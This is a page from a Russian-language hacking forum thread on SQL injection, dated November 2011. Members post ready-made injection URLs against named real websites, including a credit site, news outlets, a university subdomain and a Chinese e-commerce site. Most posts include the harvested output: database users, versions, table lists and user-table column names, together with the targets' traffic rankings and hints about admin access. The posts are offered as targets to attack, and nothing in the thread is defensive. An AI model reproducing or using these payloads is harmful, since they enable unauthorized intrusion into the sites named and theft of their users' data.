FORUMS

MEMBERS

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.

		Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
SQL Инъекции

Страница 1417 из 1602

1417

Опции темы

Поиск в этой теме

Опции просмотра

06.11.2011, 01:07

aydin-ka

Новичок

Регистрация: 03.05.2009

Сообщений: 7

Провел на форуме:
102906

Репутация: -14

Трафф 3-4 К

Код:

Code:
http://www.auto-creditline.ru/sell_cat.php?cid=-1%27+union+select+1,2,3,4,concat_ws%280x3a,user%28%29,database%28%29,version%28%29%29,6,7,8,9+--+

autocre3_site@localhost:autocre3_credit:5.0.92-log

Таблицы

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]cr_vinfax    

cr_users    

cr_tariffs    

cr_special    

cr_sms_oss    

cr_sms    

cr_review_galery    

cr_review_comment_galery    

cr_review_comment    

cr_review    

cr_partners    

cr_options    

cr_news    

cr_newcarmake    

cr_newcardealer_model    

cr_newcardealer_make    

cr_newcardealer    

cr_newcar_model    

cr_kasko    

cr_galery    

cr_faq    

cr_content    

cr_color    

cr_cities    

cr_category    

cr_cars    

cr_banner2    

cr_banner[/COLOR][/COLOR]

Содержимое cr_users

PHP код:


		
			
PHP:
[COLOR="#000000"][COLOR="#0000BB"]login

pwd

master

userid

session[/COLOR][/COLOR]

P.S: Доступ в админку получите, но там будет облом

06.11.2011, 17:49

o'clock

Новичок

Регистрация: 16.05.2009

Сообщений: 12

Провел на форуме:
135091

Репутация: 2

Давно меня тут не было

Код:

Code:
http://www.dog-perm.ru/modules.php?name=pitomnik&pag=&num_page=1&region_id=48&poroda_num=0&order=union+select+1,concat_ws%28user%28%29,version%28%29,database%28%29%29,3,4,5,6,7,8,9,10,11,12,13,14,15%20--

User:dog-permru@78.108.81.161

Version:4.1.22

Database:dogpermru

ТИЦ 140

07.11.2011, 01:39

Osstudio

Guest

Сообщений: n/a

Провел на форуме:
149611

Репутация: 81

Цитата:

Сообщение от None

http://www.tiranatimes.com/news.php?cat=3&id=33+and+1=0+union+select+1,unhex% 28hex%28concat_ws%280x3a3a3a,version%28%29,databas e%28%29,user%28%29%29%29%29,3,4,5,6,7,8,9,10,11,12--

4.1.14:::tiranatimes:::ttimes@localhost

07.11.2011, 09:11

Boolean

Guest

Сообщений: n/a

Провел на форуме:
40748

Репутация: 78

Цитата:

Сообщение от Moriarty

Moriarty said:
www.vmdaily.ru

TYC -
4900

Код:

Code:
http://www.vm/d/aily.ru/showarticle.php?id=184843' AND 464=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(111,108,100,115,105,116,101)),1,1)) != 48),SLEEP(5),464) AND 'isil'='isil

http://www.vm/da/ily.ru/showarticle.php?id=184843' AND 464=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(111,108,100,115,105,116,101)),2,1)) > 48),SLEEP(5),464) AND 'isil'='isil

http://www.vm/da/ily.ru/showarticle.php?id=184843' AND 464=IF((ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),CHAR(32)) FROM information_schema.TABLES WHERE table_schema=CHAR(111,108,100,115,105,116,101)),2,1)) > 1),SLEEP(5),464) AND 'isil'='isil

Зачем такие сложности? Там же не слепая скуля.

Код:

Code:
http://www.vmdaily.ru/showarticle.php?id=184843%27+and+1=3+union+select+1,table_name,3+FROM+information_schema.tables+--+

07.11.2011, 09:51

tabletkO

Guest

Сообщений: n/a

Провел на форуме:
28093

Репутация: 11

EDU =/

Поддомен универа Indiana

тИЦ 10, PR 6

Код:

Code:
http://www.math.indiana.edu/seminars/seminar.phtml?id=-1+union+all+select+database(),2,3,4,5,6,7--

P.S. Раньше были опубликованы скульи, но на другом поддомене...

07.11.2011, 11:39

Boolean

Guest

Сообщений: n/a

Провел на форуме:
40748

Репутация: 78

Результат - редирект.

ScriptDungeon.com

Код:

Code:
http://www.scriptdungeon.com/jump.php?ScriptID=134+and+1=21+union+select+1,2,3,concat_ws(0x3b,version(),database(),user()),5,6,7,8,9,10,11,12+--+

Результат:

Код:

Code:
Перенаправление на:
http://www.scriptdungeon.com/5.1.42;scriptdungeon;dboscriptupdate@localhost

07.11.2011, 15:36

o'clock

Новичок

Регистрация: 16.05.2009

Сообщений: 12

Провел на форуме:
135091

Репутация: 2

Код:

Code:
http://www.alienship.ru/index.php?type=ship&id=20
alienshi@89.111.176.235
5.1.58-log
wwwalienshipru

хуnta

07.11.2011, 17:50

aydin-ka

Новичок

Регистрация: 03.05.2009

Сообщений: 7

Провел на форуме:
102906

Репутация: -14

Alexa Rank 293,690 PR 4

Код:

Code:
http://www.dianzinet.com/buy/wnhtml.php ?sec=buycontact &id=99999999999+UNION+SELECT+1,2,3,concat_ws(0x3a,user(),database(),version()),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

icadm@localhost:db_chinaicnet_com:5.0.77

Код:

Code:
http://www.dianzinet.com/buy/wnhtml.php ?sec=buycontact &id=99999999999+UNION+SELECT+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+information_schema.tables

Код:

Code:
http://www.dianzinet.com/buy/wnhtml.php ?sec=buycontact &id=99999999999+UNION+SELECT+1,2,3,column_name,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+information_schema.columns

07.11.2011, 17:51

Boolean

Guest

Сообщений: n/a

Провел на форуме:
40748

Репутация: 78

HackZona.ru

CY200 PR2

concat_ws(0x3b,version(),database(),user())

POST /hz.php?name=Search HTTP/1.1

Тело запроса:

Код:

Code:
query=s&topic=26' AND 1=2 UNION SELECT 1,2,3,4,5,6,CONCAT_WS(0x3b,version(),database(),user()),8,9,10,11,12,13 # &category=0&author=123&days=7&type=stories

Код:

Code:
5.1.42;hz4647;hz4647@localhost

Запрос там кстати очень интересный:

[CODE]
Code:
select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext, s.counter, a.url, s.comments, s.topic, s.score, s.ratings from voov_stories s, voov_authors a where s.aid=a.aid AND (s.title LIKE '%s%' OR s.hometext LIKE '%s%' OR s.bodytext LIKE '%s%' OR s.notes LIKE '%s%') AND s.informant='123' AND s.topic='26[SQL INJ]' AND TO_DAYS(NOW()) - TO_DAYS(time)